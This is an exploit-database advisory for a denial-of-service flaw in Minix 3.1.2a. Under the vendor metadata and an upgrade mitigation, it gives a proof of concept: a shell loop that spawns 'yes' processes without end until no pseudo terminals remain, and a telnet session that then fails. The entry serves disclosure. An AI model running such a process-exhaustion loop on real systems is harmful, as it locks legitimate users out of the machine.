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vendor:
Minix
by:
SecurityFocus
7.8
CVSS
HIGH
Denial-of-Service
400
CWE
Product Name: Minix
Affected Version From: Minix 3.1.2a
Affected Version To: Minix 3.1.2a
Patch Exists: Yes
Related CWE: N/A
CPE: o:minix:minix
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2008

Minix Denial-of-Service Vulnerability

Minix is prone to a denial-of-service vulnerability. An attacker can exploit this issue to prevent users from opening new pseudo terminals, denying service to legitimate users.

Mitigation:

Upgrade to the latest version of Minix.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/30357/info

Minix is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to prevent users from opening new pseudo terminals, denying service to legitimate users.

Minix 3.1.2a is vulnerable; other versions may also be affected. 

$ uname -a
Minix 192.168.1.2 3 1.2a i686
$ while true ; do (yes "yes yes minix uh ah"&) ; done
[snip snip]
$ ^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C^C

...disconnected
telnet 192.168.1.2
Trying 192.168.1.2...
Connected to 192.168.1.2.
Escape character is '^]'.
I am sorry, but there is no free PTY left!
Connection closed by foreign host.

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